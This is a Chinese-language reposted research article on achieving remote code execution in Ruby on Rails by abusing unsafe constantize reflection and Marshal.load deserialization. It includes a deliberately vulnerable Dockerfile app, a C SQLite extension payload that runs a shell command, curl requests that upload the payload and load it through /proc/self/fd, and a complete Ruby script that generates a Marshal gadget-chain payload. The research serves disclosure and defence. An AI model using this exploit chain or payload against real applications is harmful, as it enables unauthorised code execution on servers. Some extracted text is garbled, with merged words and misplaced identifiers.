利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

admin 2025年3月5日20:02:34评论6 views字数 14241阅读47分28秒阅读模式

利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

介绍

一个众所周知的安全问题是,在调用 Ruby String#constantize、String#safe_constantize和方法时允许用户控制输入是不安全的,因为Module#const_get这些Module#qualified_const_get方法允许任意加载 Ruby 类。例如,以下代码片段允许攻击者初始化任何类的对象:

vuln_params[:type].constantize.new(*vuln_params[:args])

这种不安全的反射在过去曾导致过代码执行漏洞,Logger因为该类之前使用了 RubyKernel#open方法打开日志文件,因此会初始化一个新对象,如果输入以 开头,则允许执行终端命令|。然而,这种实现 RCE 的方法自 2017 年起就已修补,当时 的使用Kernel#open被改为 ,File.open只允许该类Logger创建文件。

这确实引起了我们的兴趣,即上述危险构造是否仍然会导致在最小安装的 Ruby on Rails 上执行任意代码,这导致我们发现了一种通过gemSQLite3::Database中的类加载 SQLite 扩展库的新方法。经过进一步调查,如果在安装了、和gem的 Rails 应用程序上使用 反序列化用户输入,这个新的反射小工具也可以在新的反序列化小工具链中被利用。sqlite3SQLite3::DatabaseMarshal.loadsqlite3activerecordactivesupport

过去的研究

尽管brakeman有check_unsafe_reflection规则可以检测 Rubyconstantize或类似方法的潜在不安全使用,但各种利用技术相当有限。以下文章是两篇值得注意的调查,它们确定了几个可能被滥用来影响 Ruby/Rails 应用程序的反射小工具:

  • Conviso 对 Rails 应用程序中不安全反射利用的研究重点关注了几种反射小工具,包括Logger自 2017 年以来已修补的命令执行方法。

  • 贾斯汀柯林斯 (Justin Collins) 对 Gems 的研究constantize记录了这种不安全的const_missing方法,该方法可能被滥用并导致内存泄漏,其危险性不亚于params[:class].classify.constantize危险构造。

研究范围和测试环境设置

这项研究的重点是调查 Rails 应用程序上用户可控制参数的不安全反射或反序列化是否会导致 RCE。测试是在 Ruby on Rails 的最小和默认安装上进行的,具有以下两个端点,其中以下内容Dockerfile(改编自Luke Jahnke)用于构建 Docker 映像。

  • /reflection:使用用户控制的值的不安全反射来构造新对象。

  • /marshal:使用 对用户可控制值进行不安全的反序列化Marshal.load

FROM ruby:3.4

RUN gem install rails:8.0.1

RUN rails new vuln_app --minimal --api

WORKDIR vuln_app/

RUN cat <<"EOF" > route_create_template.rb
  route 'post "/reflection", to: "vuln#reflection"'
  route 'post "/marshal", to: "vuln#marshal"'
EOF

RUN ./bin/rails app:template LOCATION=route_create_template.rb

RUN cat <<"EOF" > app/controllers/vuln_controller.rb
require "base64"

class VulnController < ApplicationController
def reflection
    vuln_params[:type].constantize.new(*vuln_params[:args])
    render json: {successtrue}
end

def marshal
    deserialised = Marshal.load(Base64.decode64(vuln_params[:deserialise]))
    render json: {data: deserialised.to_s}
end

def vuln_params
    params.permit!
end
end
EOF

ENV RAILS_ENV="production"
ENTRYPOINT ["./bin/rails""server""--binding=0.0.0.0"]

潜在的 RCE 反射工具

第一个任务是发现已安装的 gem 和 Ruby 中的类,这些类在初始化对象时可能会导致任意代码执行。使用semgrep帮助识别已安装 gem 中危险的 Ruby 方法的使用,提出了 1,000 多个潜在接收器,然后手动调查构造函数的输入参数是否到达接收器。

通过分析,我们发现以下类别被认为是适合进一步调查的候选对象。

  • RDoc::RI::Driver
    • options[:extra_doc_dirs]选项允许指定用于加载文档的额外文件夹,以初始化一个新RDoc::Store对象()。
    • 然后调用load_cache该对象的方法,将其附加到然后使用加载的文件夹路径。RDoc::Storecache.riMarshal.load
  • SQLite3::Database
    • 指定在初始化数据库时加载的SQLite 扩展库options[:extensions]的附加文件路径()。

还发现了以下类中的其他一些有趣的构造函数方法,但由于影响不是代码执行,因此没有进一步分析它们,并总结如下:

  • Logger
    • 可用于在文件系统上创建任意文件,但不能控制文件内容()。
    • 例子:Logger.new("create/file/anywhere.txt")
  • Gem::ConfigFile
    • 如果其中一个参数是--debug,则它设置$DEBUG=true)。
    • 例子:Gem::ConfigFile.new(["--debug"])
  • TCPServerTCPSocket
    • 这两个类都可以通过检测是否引发异常来确定开放的内部端口。
    • 例子:TCPSocket.new("127.0.0.1", 1337)
  • ActiveRecord::ConnectionAdapters::SQLite3Adapter
    • 可被滥用在文件系统上创建任意文件夹。
    • 例如:ActiveRecord::ConnectionAdapters::SQLite3Adapter.new({database: "created/anything"})将创建文件夹./created
  • ActiveSupport::ConfigurationFile
    • 可用于从文件系统读取任意文件,但取决于返回给用户的初始化对象的属性(例如,调用to_json方法并在 HTTP 响应中返回)。
    • 例子:ActiveSupport::ConfigurationFile.new("/etc/passwd").to_json
  • ENV
    • 尽管该ENV变量是环境变量的哈希类访问器,但根据不安全反射的实现,可能会泄漏环境变量。
    • 例子:"ENV".constantize.to_json

在 Ruby on Rails 上将文件写入文件系统

RDoc::RI::Driver和反射小工具都SQLite3::Database依赖于读取文件系统上用户可控制的文件来利用任意代码执行接收器。问题是测试应用程序没有启用ActiveStorage或任何其他文件上传功能。TCPSocketTCPServer(以及其他网络类)反射小工具可用于打开文件描述符/proc/self/fd/x,但open系统调用无法打开这些套接字文件。

下一个选项是研究 Ruby on Rails 如何处理multipart/form-data上传文件的请求。在底层,Ruby on Rails 用于Rack处理 Web 请求和响应。以下代码片段rack/blob/main/lib/rack/multipart.rb显示了parse_multipart处理multipart/form-data上传文件请求的方法。

defparse_multipart(env, params = Rack::Utils.default_query_parser)
        unless io = env[RACK_INPUT]
          raise MissingInputError, "Missing input stream!"
        end

        if content_length = env['CONTENT_LENGTH']
          content_length = content_length.to_i
        end

        content_type = env['CONTENT_TYPE']

        tempfile = env[RACK_MULTIPART_TEMPFILE_FACTORY] || Parser::TEMPFILE_FACTORY
        bufsize = env[RACK_MULTIPART_BUFFER_SIZE] || Parser::BUFSIZE

        info = Parser.parse(io, content_length, content_type, tempfile, bufsize, params)
        env[RACK_TEMPFILES] = info.tmp_files

        return info.params
      end

深入研究Rack::Multipart::Parser该类,它表明TempFile创建了一个新类,其内容为上传的文件,其默认前缀为RackMultipart。

moduleRack
    moduleMultipart
        ...
        classParser
        BUFSIZE = 1_048_576
        TEXT_PLAIN = "text/plain"
        TEMPFILE_FACTORY = lambda { |filename, content_type|
            extension = ::File.extname(filename.gsub(""'%00'))[0129]

            Tempfile.new(["RackMultipart", extension])
        }
        ...

可以通过将请求中的文件发送POST到目标 Rails 应用程序,然后观察/tmp文件夹中的临时文件(临时文件的默认位置)来确认这一点。

注意: 端点/在测试应用程序上不存在,但文件仍保存到文件系统。

curl演示上传文件的示例命令

cat hello.txt 
# i am in your filesystem :)
curl -F [email protected] http://127.0.0.1:3000/

在 Rails 容器内的文件系统上显示生成的临时文件

root@6986fa9afc11:/tmp# ls -al
total 12
drwxrwxrwt 1 root root 4096 Feb 2514:29 .
drwxr-xr-x 1 root root 4096 Feb 2514:28 ..
-rw------- 1 root root 27 Feb 2514:29 RackMultipart20250225-1-sc9f98.txt
root@6986fa9afc11:/tmp# cat RackMultipart20250225-1-sc9f98.txt 
i am in your filesystem :)
root@6986fa9afc11:/tmp#

这种文件上传方法的一个问题是,虽然用户可以控制扩展名值,但无法控制文件名,因此RDoc::RI::Driver小工具不再适合这种情况。这是因为当RDoc::RI::Driver使用该options[:extra_doc_dirs]选项初始化新对象时,它会反序列化cache.ri所提供文件夹中的文件。

另一个问题是确定临时文件名扩展名前的最后六个字符。但是,当创建临时文件时,Rails 进程会打开一个文件描述符,它是指向临时文件的符号链接,其中文件描述符编号比 Ruby 临时文件名更容易枚举。

/proc/self/fd/12显示临时文件的符号链接的示例

root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 2514:30 .
dr-xr-xr-x 9 root root 0 Feb 2514:28 ..
lrwx------ 1 root root 64 Feb 2514:300 -> /dev/null
l-wx------ 1 root root 64 Feb 2514:301 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 2514:3010 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 2514:3012 -> /tmp/RackMultipart20250225-1-sc9f98.txt
l-wx------ 1 root root 64 Feb 2514:302 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 2514:303 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 2514:304 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 2514:305 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 2514:306 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 2514:307 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 2514:308 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 2514:309 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd# cat /proc/1/fd/12
i am in your filesystem :)
root@6986fa9afc11:/proc/1/fd#

利用SQLite3::Database反射小工具

为了确认/proc/self/fd/{num}路径是否可以作为 SQLite 扩展加载,首先使用以下源代码和gcc命令编译了一个基本的 POC 库。

C POC 文件将在处创建一个文件/tmp/rce-conf.txt以确认代码执行

#include<unistd.h>

intsqlite3_extension_init(void)
{
    system("touch /tmp/rce-conf.txt");
    return0;
}

gcc命令来编译恶意 SQLite 扩展

gcc-shared-fPIC-opayload.sopoc.c

将 上传payload.so到应用程序后,Rack 在 处为临时文件打开了一个新的文件描述符/proc/self/fd/13。

root@6986fa9afc11:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 13 Feb 2514:30 .
dr-xr-xr-x 9 root root 0 Feb 2514:28 ..
lrwx------ 1 root root 64 Feb 2514:300 -> /dev/null
l-wx------ 1 root root 64 Feb 2514:301 -> 'pipe:[78561674]'
l-wx------ 1 root root 64 Feb 2514:3010 -> 'pipe:[78556734]'
lrwx------ 1 root root 64 Feb 2514:3012 -> /tmp/RackMultipart20250225-1-sc9f98.txt
lrwx------ 1 root root 64 Feb 2514:3013 -> /tmp/RackMultipart20250225-1-oji5wc.so
l-wx------ 1 root root 64 Feb 2514:302 -> 'pipe:[78561675]'
lrwx------ 1 root root 64 Feb 2514:303 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 2514:304 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 2514:305 -> 'socket:[78556732]'
lr-x------ 1 root root 64 Feb 2514:306 -> 'pipe:[78556733]'
l-wx------ 1 root root 64 Feb 2514:307 -> 'pipe:[78556733]'
lrwx------ 1 root root 64 Feb 2514:308 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 2514:309 -> 'pipe:[78556734]'
root@6986fa9afc11:/proc/1/fd#

最后,当对象初始化时,以下curl命令将/proc/self/fd/13作为 SQLite 扩展加载。SQLite3::Database

curl 
  -H 'Content-Type: application/json' 
  -d '{"type": "SQLite3::Database", "args": ["/tmp/rce.db", {"extensions": ["/proc/self/fd/13"]}]}' 
  http://127.0.0.1:3000/reflection

创建/tmp/rce-conf.txt确认上传的 SQLite 扩展已执行

root@6986fa9afc11:/tmp# ls -al
total 28
drwxrwxrwt 1 root root 4096 Feb 2514:32 .
drwxr-xr-x 1 root root 4096 Feb 2514:28 ..
-rw------- 1 root root 15560 Feb 2514:30 RackMultipart20250225-1-oji5wc.so
-rw------- 1 root root 27 Feb 2514:29 RackMultipart20250225-1-sc9f98.txt
-rw-r--r-- 1 root root 0 Feb 2514:32 rce-conf.txt
-rw-r--r-- 1 root root 0 Feb 2514:31 rce.db
root@6986fa9afc11:/tmp#

这证实了任何sqlite3安装了 gem(默认安装)的 Rails 应用程序,如果允许不安全地反射用户输入,都可能导致 RCE。 Rack攻击者可以使用文件路径将恶意 SQLite 扩展上传到文件系统,该扩展在构造SQLite3::Database对象期间加载/proc/self/fd/x,而外部攻击者可以轻松枚举该扩展。

SQLite3::Database反射小工具适配为反序列化小工具

下一个挑战是调查是否SQLite3::Database可以利用反序列化小工具链中的对象来实现 Rails 应用程序的 RCE。第一步是确认SQLite3::Database对象是否可以序列化,不幸的是,情况并非如此,如下面的屏幕截图所示。

利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

然而,我们发现,当调用该方法时,该类ActiveRecord::ConnectionAdapters::SQLite3Adapter会初始化一个新SQLite3::Database对象connect!,如下面的代码片段所示。

...
moduleActiveRecord
moduleConnectionAdapters# :nodoc:
    # = Active Record SQLite3 Adapter
    #
    # The SQLite3 adapter works with the sqlite3[https://sparklemotion.github.io/sqlite3-ruby/]
    # driver.
    #
    # Options:
    #
    # * +:database+ (String): Filesystem path to the database file.
    # * +:statement_limit+ (Integer): Maximum number of prepared statements to cache per database connection. (default: 1000)
    # * +:timeout+ (Integer): Timeout in milliseconds to use when waiting for a lock. (default: no wait)
    # * +:strict+ (Boolean): Enable or disable strict mode. When enabled, this will
    # {disallow double-quoted string literals in SQL
    # statements}[https://www.sqlite.org/quirks.html#double_quoted_string_literals_are_accepted].
    # (default: see strict_strings_by_default)
    # * +:extensions+ (Array): (<b>requires sqlite3 v2.4.0</b>) Each entry specifies a sqlite extension
    # to load for this database. The entry may be a filesystem path, or the name of a class that
    # responds to +.to_path+ to provide the filesystem path for the extension. See {sqlite3-ruby
    # documentation}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#class-SQLite3::Database-label-SQLite+Extensions]
    # for more information.
    #
    # There may be other options available specific to the SQLite3 driver. Please read the
    # documentation for
    # {SQLite::Database.new}[https://sparklemotion.github.io/sqlite3-ruby/SQLite3/Database.html#method-c-new]
    #
    classSQLite3Adapter < AbstractAdapter
      ADAPTER_NAME = "SQLite"

      class << self
        defnew_client(config)
          ::SQLite3::Database.new(config[:database].to_s, config)
        rescue Errno::ENOENT => error
          ...
        end
        ...
      end
      ...
      defconnect
        @raw_connection = self.class.new_client(@connection_parameters)
      rescue ConnectionNotEstablished => ex
        raise ex.set_pool(@pool)
      end
      ...
    end
    ActiveSupport.run_load_hooks(:active_record_sqlite3adapter, SQLite3Adapter)
end
end

使用这个臭名昭著的ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy小工具,反序列化DeprecatedInstanceVariableProxy对象可用于调用connect!反序列化对象的方法ActiveRecord::ConnectionAdapters::SQLite3Adapter,2013 年 Hailey Somerville 首次利用该方法利用 CVE-2013-0156 漏洞。自 2013 年起,该DeprecatedInstanceVariableProxy小工具现在需要@deprecator设置实例变量,否则在执行反序列化负载之前会引发异常。

将所有这些点整合到一个工具链中,开发了以下概念验证脚本:

# usage: ruby sqlite-marshal-poc.rb {fd}
# example: ruby sqlite-marshal-poc.rb 13

require"base64"
require"concurrent"

classActiveRecord
classConnectionAdapters
    classSQLite3Adapter
      definitialize(...)
        @connection_parameters = nil
        @config = nil
        @lock = nil
      end
    end
end
end

classActiveSupport
classConcurrency
    moduleNullLock

    end
end

classDeprecation
    definitialize()
      @gem_name="Rails"
      @deprecation_horizon="8.1"
      @silenced=false
      @debug=false
      @silence_counter=Concurrent::ThreadLocalVar.new(0)
      @default_block=nil
      @default=0
      @index=21
      @explicitly_allowed_warnings=Concurrent::ThreadLocalVar.new(nil)
      @default_block=nil
      @default=nil
      @index=22
    end

    classDeprecatedInstanceVariableProxy
      definitialize(instance, method)
        @instance = instance
        @method = method
      end
    end
end
end

fd = ARGV[0]
if fd == nil
  abort("Need to set target fd")
end
adptr = ActiveRecord::ConnectionAdapters::SQLite3Adapter.allocate
adptr.instance_variable_set("@connection_parameters", {database:"/tmp/r.db"extensions: ["/proc/self/fd/#{fd}"]})
adptr.instance_variable_set("@config", {connection_retries:1database:":memory:"})
adptr.instance_variable_set("@lock", ActiveSupport::Concurrency::NullLock)

depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.allocate
depr.instance_variable_set :@instance, adptr
depr.instance_variable_set :@method, :connect!
depr.instance_variable_set :@var, "@connect!"
depr.instance_variable_set :@deprecator, ActiveSupport::Deprecation.new

payload = Base64.encode64(Marshal.dump(depr)).gsub("n""")

puts payload

为了演示这个新的反序列化有效载荷,将上一节中的相同内容payload.so上传到打开文件描述符的测试应用程序/proc/self/fd/12

root@f843c5a7802e:/proc/1/fd# ls -al
total 0
dr-x------ 2 root root 12 Feb 2712:11 .
dr-xr-xr-x 9 root root 0 Feb 2712:10 ..
lrwx------ 1 root root 64 Feb 2712:110 -> /dev/null
l-wx------ 1 root root 64 Feb 2712:111 -> 'pipe:[83117945]'
l-wx------ 1 root root 64 Feb 2712:1110 -> 'pipe:[83121125]'
lrwx------ 1 root root 64 Feb 2712:1112 -> /tmp/RackMultipart20250227-1-9ni25f.so
l-wx------ 1 root root 64 Feb 2712:112 -> 'pipe:[83117946]'
lrwx------ 1 root root 64 Feb 2712:113 -> 'anon_inode:[eventfd]'
lrwx------ 1 root root 64 Feb 2712:114 -> 'anon_inode:[eventpoll]'
lrwx------ 1 root root 64 Feb 2712:115 -> 'socket:[83080004]'
lr-x------ 1 root root 64 Feb 2712:116 -> 'pipe:[83121124]'
l-wx------ 1 root root 64 Feb 2712:117 -> 'pipe:[83121124]'
lrwx------ 1 root root 64 Feb 2712:118 -> 'anon_inode:[eventpoll]'
lr-x------ 1 root root 64 Feb 2712:119 -> 'pipe:[83121125]'
root@f843c5a7802e:/proc/1/fd#

然后,以下curl命令利用测试应用程序端点Marshal.load上的漏洞,导致加载 SQLite 扩展的对象/marshal初始化。SQLite3::Database

curl -H 'Content-Type: application/json' 
  -d '{"deserialise":"'$(ruby sqlite-marshal-poc.rb 12 | tr -d 'n')'"}' 
  http://127.0.0.1:3000/marshal

再次,/tmp/rce-conf.txt文件的创建确认 SQLite 扩展已成功执行,从而确认了 RCE。

root@f843c5a7802e:/tmp# ls -al
total 24
drwxrwxrwt 1 root root 4096 Feb 2712:20 .
drwxr-xr-x 1 root root 4096 Feb 2712:10 ..
-rw------- 1 root root 15560 Feb 2712:11 RackMultipart20250227-1-9ni25f.so
-rw-r--r-- 1 root root 0 Feb 2712:20 r.db
-rw-r--r-- 1 root root 0 Feb 2712:20 rce-conf.txt
root@f843c5a7802e:/tmp#

sqlite3任何允许对用户控制输入进行不安全反序列化并安装了、activerecord和gem的 Rails 应用程序均可利用此新小工具链实现 RCE activesupport;在 Ruby on Rails 的最小安装中,这三种 gem 均默认安装。考虑到此小DeprecatedInstanceVariableProxy工具自 2013 年起就已为人所知,再加上此小工具链利用了允许在初始化数据库连接时加载 SQLite3 扩展的合法要求,因此推测此小工具链可能在一段时间内可行。

结论

SQLite3::Database本文演示的反射小工具表明,如果安装了 gem(默认情况下安装在 Rails 的最小安装中),不安全的 Ruby 反射和使用用户输入构造新对象仍可能导致任意代码执行。sqlite3此外,本文还展示了一种/tmp通过滥用 Rack 的文件上传解析并通过访问文件内容来将文件写入文件夹的方法/proc/self/fd/x,该方法可用于利用依赖于 Rails 应用程序上的文件写入的其他漏洞。

通过对反射小工具的研究,我们发现了一个新的小工具链,如果安装了和gems,SQLite3::Database则可以利用它来实现 RCE ,而它们在 Ruby on Rails 上是默认安装的。activerecordactivesupport

总之,这项研究可能会导致在 Rails 应用程序上再次发现新的 RCE 漏洞,这些漏洞会反映或反序列化用户可控制的输入。


感谢您抽出

利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

.

利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

.

利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

来阅读本文

利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

点它,分享点赞在看都在这里


原文始发于微信公众号(Ots安全):利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年3月5日20:02:34
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用不安全的反射和反序列化在 Rails 上进行 RCE 的新方法http://cn-sec.com/archives/3799886.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息